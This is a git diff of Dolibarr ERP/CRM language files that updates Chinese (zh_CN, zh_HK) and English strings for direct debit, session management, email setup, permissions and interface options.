+101,11 @@ CreditDate=信贷 WithdrawalFileNotCapable=无法为您所在的国家/地区生成提款收据文件%s(不支持您所在的国家/地区) ShowWithdraw=Show Direct Debit Order IfInvoiceNeedOnWithdrawPaymentWontBeClosed=However, if invoice has at least one direct debit payment order not yet processed, it won't be set as paid to allow prior withdrawal management. -DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, go into menu Bank->Payment by direct debit to generate and manage the direct debit order. When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. -DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu Bank->Payment by credit transfer to generate and manage the credit transfer order. When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Debit order file CreditTransferFile=Credit transfer file SetToStatusSent=设置状态“发送的文件” @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=无法为空金额创建直接付款请求。 SepaMandate=SEPA直接借记授权 SepaMandateShort=SEPA授权 PleaseReturnMandate=请将此任务表格通过电子邮件发送至%s或邮寄至 -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=债权人标识符 CreditorName=Creditor Name SEPAFillForm=(B)请填写标有*的所有字段 @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=执行日期 CreateForSepa=创建直接付款文件 ICS=Creditor Identifier - ICS +IDS=Debitor Identifier END_TO_END="EndToEndId" SEPA XML tag - Unique id assigned per transaction USTRD="Unstructured" SEPA XML tag ADDDAYS=Add days to Execution Date @@ -154,3 +160,4 @@ ErrorICSmissing=Missing ICS in Bank account %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Total amount of direct debit order differs from sum of lines WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/zh_CN/zapier.lang b/htdocs/langs/zh_CN/zapier.lang index b4cc4ccba4a..5ca9f7cede9 100644 --- a/htdocs/langs/zh_CN/zapier.lang +++ b/htdocs/langs/zh_CN/zapier.lang @@ -13,9 +13,9 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . -ModuleZapierForDolibarrName = Zapier for Dolibarr -ModuleZapierForDolibarrDesc = Zapier for Dolibarr module -ZapierForDolibarrSetup=Setup of Zapier for Dolibarr -ZapierDescription=Interface with Zapier -ZapierAbout=About the module Zapier -ZapierSetupPage=There is no need for a setup on Dolibarr side to use Zapier. However, you must generate and publish a package on zapier to be able to use Zapier with Dolibarr. See documentation on this wiki page. +ModuleZapierForDolibarrName = Dolibarr 的 Zapier +ModuleZapierForDolibarrDesc = Dolibarr 的 Zapier 模块 +ZapierForDolibarrSetup=Dolibarr 的 Zapier 设置 +ZapierDescription=与 Zapier 的接口 +ZapierAbout=关于模块 Zapier +ZapierSetupPage=使用 Zapier 不需要在 Dolibarr 方面进行设置。然而,你必须在 Zapier 上生成并发布一个包,以便能够在 Dolibarr 上使用 Zapier。请看这个维基页面上的文档。 diff --git a/htdocs/langs/zh_HK/admin.lang b/htdocs/langs/zh_HK/admin.lang index d79adb1e960..86054ea0fae 100644 --- a/htdocs/langs/zh_HK/admin.lang +++ b/htdocs/langs/zh_HK/admin.lang @@ -1,16 +1,16 @@ # Dolibarr language file - Source file is en_US - admin BoldRefAndPeriodOnPDF=Print reference and period of product item in PDF BoldLabelOnPDF=Print label of product item in Bold in PDF -Foundation=Foundation -Version=Version +Foundation=基礎 +Version=版本 Publisher=Publisher -VersionProgram=Version program -VersionLastInstall=Initial install version -VersionLastUpgrade=Latest version upgrade -VersionExperimental=Experimental -VersionDevelopment=Development -VersionUnknown=Unknown -VersionRecommanded=Recommended +VersionProgram=版本程序 +VersionLastInstall=初始安裝版本 +VersionLastUpgrade=最新版本升級 +VersionExperimental=實驗性的 +VersionDevelopment=發展 +VersionUnknown=未知 +VersionRecommanded=推薦的 FileCheck=Fileset Integrity Checks FileCheckDesc=This tool allows you to check the integrity of files and the setup of your application, comparing each file with the official one. The value of some setup constants may also be checked. You can use this tool to determine if any files have been modified (e.g by a hacker). FileIntegrityIsStrictlyConformedWithReference=Files integrity is strictly conformed with the reference. @@ -27,17 +27,17 @@ FilesAdded=Added Files FileCheckDolibarr=Check integrity of application files AvailableOnlyOnPackagedVersions=The local file for integrity checking is only available when the application is installed from an official package XmlNotFound=Xml Integrity File of application not found -SessionId=Session ID -SessionSaveHandler=Handler to save sessions -SessionSavePath=Session save location -PurgeSessions=Purge of sessions -ConfirmPurgeSessions=Do you really want to purge all sessions? This will disconnect every user (except yourself). -NoSessionListWithThisHandler=Save session handler configured in your PHP does not allow listing all running sessions. -LockNewSessions=Lock new connections -ConfirmLockNewSessions=Are you sure you want to restrict any new Dolibarr connection to yourself? Only user %s will be able to connect after that. -UnlockNewSessions=Remove connection lock -YourSession=Your session -Sessions=Users Sessions +SessionId=會話 ID +SessionSaveHandler=保存會話的處理程序 +SessionSavePath=會話保存位置 +PurgeSessions=清除會話 +ConfirmPurgeSessions=您真的要清除所有會話嗎?這將斷開每個用戶(除了你自己)。 +NoSessionListWithThisHandler=在您的 PHP 中配置的保存會話處理程序不允許列出所有正在運行的會話。 +LockNewSessions=鎖定新連接 +ConfirmLockNewSessions=您確定要將任何新的 Dolibarr 連接限制為您自己嗎?只有用戶 %s 之後才能連接。 +UnlockNewSessions=解除連接鎖 +YourSession=您的會話 +Sessions=用戶會話 WebUserGroup=Web server user/group PermissionsOnFiles=Permissions on files PermissionsOnFilesInWebRoot=Permissions on files in web root directory @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Module %s must be enabled WarningOnlyPermissionOfActivatedModules=Only permissions related to activated modules are shown here. You can activate other modules in the Home->Setup->Modules page. DolibarrSetup=Dolibarr install or upgrade -InternalUser=Internal user -ExternalUser=External user InternalUsers=Internal users ExternalUsers=External users UserInterface=User interface @@ -109,7 +107,7 @@ NextValueForReplacements=Next value (replacements) MustBeLowerThanPHPLimit=Note: your PHP configuration currently limits the maximum filesize for upload to %s %s, irrespective of the value of this parameter NoMaxSizeByPHPLimit=Note: No limit is set in your PHP configuration MaxSizeForUploadedFiles=Maximum size for uploaded files (0 to disallow any upload) -UseCaptchaCode=Use graphical code (CAPTCHA) on login page +UseCaptchaCode=Use graphical code (CAPTCHA) on login page and some public pages AntiVirusCommand=Full path to antivirus command AntiVirusCommandExample=Example for ClamAv Daemon (require clamav-daemon): /usr/bin/clamdscan
      Example for ClamWin (very very slow): c:\\Progra~1\\ClamWin\\bin\\clamscan.exe AntiVirusParam= More parameters on command line @@ -294,6 +292,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (default value in php.ini: %s) MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=SMTP/SMTPS Port (Not defined into PHP on Unix-like systems) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS Host (Not defined into PHP on Unix-like systems) MAIN_MAIL_EMAIL_FROM=Sender email for automatic emails (default value in php.ini: %s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email used for error returns emails (fields 'Errors-To' in emails sent) MAIN_MAIL_AUTOCOPY_TO= Copy (Bcc) all sent emails to MAIN_DISABLE_ALL_MAILS=Disable all email sending (for test purposes or demos) @@ -439,8 +438,10 @@ Unique=Unique Boolean=Boolean (one checkbox) ExtrafieldPhone = Phone ExtrafieldPrice = Price +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Select list ExtrafieldSelectList = Select from table ExtrafieldSeparator=Separator (not a field) @@ -477,7 +478,7 @@ InstalledInto=Installed into directory %s BarcodeInitForThirdparties=Mass barcode init for third-parties BarcodeInitForProductsOrServices=Mass barcode init or reset for products or services CurrentlyNWithoutBarCode=Currently, you have %s record on %s %s without barcode defined. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Erase all current barcode values ConfirmEraseAllCurrentBarCode=Are you sure you want to erase all current barcode values? AllBarcodeReset=All barcode values have been removed @@ -501,10 +502,11 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. -ActualMailSPFRecordFound=Actual SPF record found : %s +ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s ClickToShowDescription=Click to show description DependsOn=This module needs the module(s) RequiredBy=This module is required by module(s) @@ -514,7 +516,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Field @@ -645,9 +647,9 @@ Module2400Name=Events/Agenda Module2400Desc=Track events. Log automatic events for tracking purposes or record manual events or meetings. This is the principal module for good Customer or Vendor Relationship Management. Module2500Name=DMS / ECM Module2500Desc=Document Management System / Electronic Content Management. Automatic organization of your generated or stored documents. Share them when you need. -Module2600Name=API/Web services (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Enable the Dolibarr SOAP server providing API services -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Call WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -698,6 +700,7 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Resources Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events +Module94160Name=Receptions Permission11=Read customer invoices Permission12=Create/modify customer invoices Permission13=Invalidate customer invoices @@ -714,13 +717,14 @@ Permission27=Delete commercial proposals Permission28=Export commercial proposals Permission31=Read products Permission32=Create/modify products +Permission33=Read prices products Permission34=Delete products Permission36=See/manage hidden products Permission38=Export products Permission39=Ignore minimum price -Permission41=Read projects and tasks (shared project and projects I'm contact for). Can also enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) -Permission42=Create/modify projects (shared project and projects I'm contact for). Can also create tasks and assign users to project and tasks -Permission44=Delete projects (shared project and projects I'm contact for) +Permission41=Read projects and tasks (shared projects and projects of which I am a contact). +Permission42=Create/modify projects (shared projects and projects of which I am a contact). Can also assign users to projects and tasks +Permission44=Delete projects (shared projects and projects of which I am a contact) Permission45=Export projects Permission61=Read interventions Permission62=Create/modify interventions @@ -739,6 +743,7 @@ Permission79=Create/modify subscriptions Permission81=Read customers orders Permission82=Create/modify customers orders Permission84=Validate customers orders +Permission85=Generate the documents sales orders Permission86=Send customers orders Permission87=Close customers orders Permission88=Cancel customers orders @@ -766,9 +771,10 @@ Permission122=Create/modify third parties linked to user Permission125=Delete third parties linked to user Permission126=Export third parties Permission130=Create/modify third parties payment information -Permission141=Read all projects and tasks (also private projects for which I am not a contact) -Permission142=Create/modify all projects and tasks (also private projects for which I am not a contact) -Permission144=Delete all projects and tasks (also private projects i am not contact for) +Permission141=Read all projects and tasks (as well as the private projects for which I am not a contact) +Permission142=Create/modify all projects and tasks (as well as the private projects for which I am not a contact) +Permission144=Delete all projects and tasks (as well as the private projects I am not a contact) +Permission145=Can enter time consumed, for me or my hierarchy, on assigned tasks (Timesheet) Permission146=Read providers Permission147=Read stats Permission151=Read direct debit payment orders @@ -839,9 +845,9 @@ Permission286=Export contacts Permission291=Read tariffs Permission292=Set permissions on the tariffs Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Read services Permission312=Assign service/subscription to contract Permission331=Read bookmarks @@ -873,6 +879,7 @@ Permission525=Access loan calculator Permission527=Export loans Permission531=Read services Permission532=Create/modify services +Permission533=Read prices services Permission534=Delete services Permission536=See/manage hidden services Permission538=Export services @@ -883,6 +890,9 @@ Permission564=Record Debits/Rejections of credit transfer Permission601=Read stickers Permission602=Create/modify stickers Permission609=Delete stickers +Permission611=Read attributes of variants +Permission612=Create/Update attributes of variants +Permission613=Delete attributes of variants Permission650=Read Bills of Materials Permission651=Create/Update Bills of Materials Permission652=Delete Bills of Materials @@ -964,11 +974,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu +Permission4031=Read personal information +Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1068,9 +1081,14 @@ DictionaryExpenseTaxCat=Expense report - Transportation categories DictionaryExpenseTaxRange=Expense report - Range by transportation category DictionaryTransportMode=Intracomm report - Transport mode DictionaryBatchStatus=Product lot/serial Quality Control status +DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Setup saved SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1122,7 +1140,7 @@ ValueOfConstantKey=Value of a configuration constant ConstantIsOn=Option %s is on NbOfDays=No. of days AtEndOfMonth=At end of month -CurrentNext=Current/Next +CurrentNext=A given day in month Offset=Offset AlwaysActive=Always active Upgrade=Upgrade @@ -1187,7 +1205,7 @@ BankModuleNotActive=Bank accounts module not enabled ShowBugTrackLink=Show the link "%s" ShowBugTrackLinkDesc=Keep empty to not display this link, use value 'github' for the link to the Dolibarr project or define directly an url 'https://...' Alerts=Alerts -DelaysOfToleranceBeforeWarning=Delay before displaying a warning alert for: +DelaysOfToleranceBeforeWarning=Displaying a warning alert for... DelaysOfToleranceDesc=Set the delay before an alert icon %s is shown onscreen for the late element. Delays_MAIN_DELAY_ACTIONS_TODO=Planned events (agenda events) not completed Delays_MAIN_DELAY_PROJECT_TO_CLOSE=Project not closed in time @@ -1228,11 +1246,13 @@ BrowserName=Browser name BrowserOS=Browser OS ListOfSecurityEvents=List of Dolibarr security events SecurityEventsPurged=Security events purged +TrackableSecurityEvents=Trackable security events LogEventDesc=Enable logging for specific security events. Administrators the log via menu %s - %s. Warning, this feature can generate a large amount of data in the database. AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=System information is miscellaneous technical information you get in read only mode and visible for administrators only. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1283,6 +1303,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=SSL functions not available in your PHP DownloadMoreSkins=More skins to download SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1339,6 +1361,7 @@ TransKeyWithoutOriginalValue=You forced a new translation for the translation ke TitleNumberOfActivatedModules=Activated modules TotalNumberOfActivatedModules=Activated modules: %s / %s YouMustEnableOneModule=You must at least enable 1 module +YouMustEnableTranslationOverwriteBefore=You must first enable translation overwriting to be allowed to replace a translation ClassNotFoundIntoPathWarning=Class %s not found in PHP path YesInSummer=Yes in summer OnlyFollowingModulesAreOpenedToExternalUsers=Note, only the following modules are available to external users (irrespective of the permissions of such users) and only if permissions are granted:
      @@ -1368,7 +1391,7 @@ GetBarCode=Get barcode NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Return a password according to your personally defined configuration. SetupPerso=According to your configuration @@ -1420,6 +1443,12 @@ WatermarkOnDraftInvoices=Watermark on draft invoices (none if empty) PaymentsNumberingModule=Payments numbering model SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup +InvoiceCheckPosteriorDate=Check facture date before validation +InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Commercial proposals module setup ProposalsNumberingModules=Commercial proposal numbering models @@ -1462,11 +1491,12 @@ WatermarkOnDraftContractCards=Watermark on draft contracts (none if empty) ##### Members ##### MembersSetup=Members module setup MemberMainOptions=Main options +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Manage a Login for each member AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Checkbox to send mail confirmation to members (validation or new subscription) is on by default MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1728,8 +1758,8 @@ ActivateFCKeditor=Activate advanced editor for: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG creation/edition for mass eMailings (Tools->eMailing) FCKeditorForUserSignature=WYSIWIG creation/edition of user signature FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1752,7 +1782,7 @@ DetailMenuHandler=Menu handler where to show new menu DetailMenuModule=Module name if menu entry come from a module DetailType=Type of menu (top or left) DetailTitre=Menu label or label code for translation -DetailUrl=URL where menu send you (Absolute URL link or external link with http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Condition to show or not entry DetailRight=Condition to display unauthorized grey menus DetailLangs=Lang file name for label code translation @@ -1823,7 +1853,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Bookmark module setup BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1861,7 +1891,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind module setup -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note that your ip to country data file must be inside a directory your PHP can read (Check your PHP open_basedir setup and filesystem permissions). YouCanDownloadFreeDatFileTo=You can download a free demo version of the Maxmind GeoIP country file at %s. YouCanDownloadAdvancedDatFileTo=You can also download a more complete version, with updates, of the Maxmind GeoIP country file at %s. @@ -1912,11 +1942,13 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over HighlightLinesColor=Highlight color of the line when the mouse passes over (use 'ffffff' for no highlight) HighlightLinesChecked=Highlight color of the line when it is checked (use 'ffffff' for no highlight) +UseBorderOnTable=Show left-right borders on tables BtnActionColor=Color of the action button TextBtnActionColor=Text color of the action button TextTitleColor=Text color of Page title @@ -1925,7 +1957,7 @@ PressF5AfterChangingThis=Press CTRL+F5 on keyboard or clear your browser cache a NotSupportedByAllThemes=Will works with core themes, may not be supported by external themes BackgroundColor=Background color TopMenuBackgroundColor=Background color for Top menu -TopMenuDisableImages=Hide images in Top menu +TopMenuDisableImages=Icon or Text in Top menu LeftMenuBackgroundColor=Background color for Left menu BackgroundTableTitleColor=Background color for Table title line BackgroundTableTitleTextColor=Text color for Table title line @@ -1938,7 +1970,7 @@ EnterAnyCode=This field contains a reference to identify the line. Enter any val Enter0or1=Enter 0 or 1 UnicodeCurrency=Enter here between braces, list of byte number that represent the currency symbol. For example: for $, enter [36] - for brazil real R$ [82,36] - for €, enter [8364] ColorFormat=The RGB color is in HEX format, eg: FF0000 -PictoHelp=Icon name in dolibarr format ('image.png' if into the current theme directory, 'image.png@nom_du_module' if into the directory /img/ of a module) +PictoHelp=Icon name in format:
      - image.png for an image file into the current theme directory
      - image.png@module if file is into the directory /img/ of a module
      - fa-xxx for a FontAwesome fa-xxx picto
      - fonwtawesome_xxx_fa_color_size for a FontAwesome fa-xxx picto (with prefix, color and size set) PositionIntoComboList=Position of line into combo lists SellTaxRate=Sales tax rate RecuperableOnly=Yes for VAT "Not Perceived but Recoverable" dedicated for some state in France. Keep value to "No" in all other cases. @@ -1966,6 +1998,7 @@ MailToSendSupplierOrder=Purchase orders MailToSendSupplierInvoice=Vendor invoices MailToSendContract=Contracts MailToSendReception=Receptions +MailToExpenseReport=Expense reports MailToThirdparty=Third parties MailToMember=Members MailToUser=Users @@ -2019,6 +2052,7 @@ MAIN_PDF_MARGIN_RIGHT=Right margin on PDF MAIN_PDF_MARGIN_TOP=Top margin on PDF MAIN_PDF_MARGIN_BOTTOM=Bottom margin on PDF MAIN_DOCUMENTS_LOGO_HEIGHT=Height for logo on PDF +DOC_SHOW_FIRST_SALES_REP=Show first sales representative MAIN_GENERATE_PROPOSALS_WITH_PICTURE=Add column for picture on proposal lines MAIN_DOCUMENTS_WITH_PICTURE_WIDTH=Width of the column if a picture is added on lines MAIN_PDF_NO_SENDER_FRAME=Hide borders on sender address frame @@ -2036,8 +2070,10 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) -GDPRContactDesc=If you store data about European companies/citizens, you can name the contact who is responsible for the General Data Protection Regulation here +GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip HelpOnTooltipDesc=Put text or a translation key here for the text to show in a tooltip when this field appears in a form YouCanDeleteFileOnServerWith=You can delete this file on the server with Command Line:
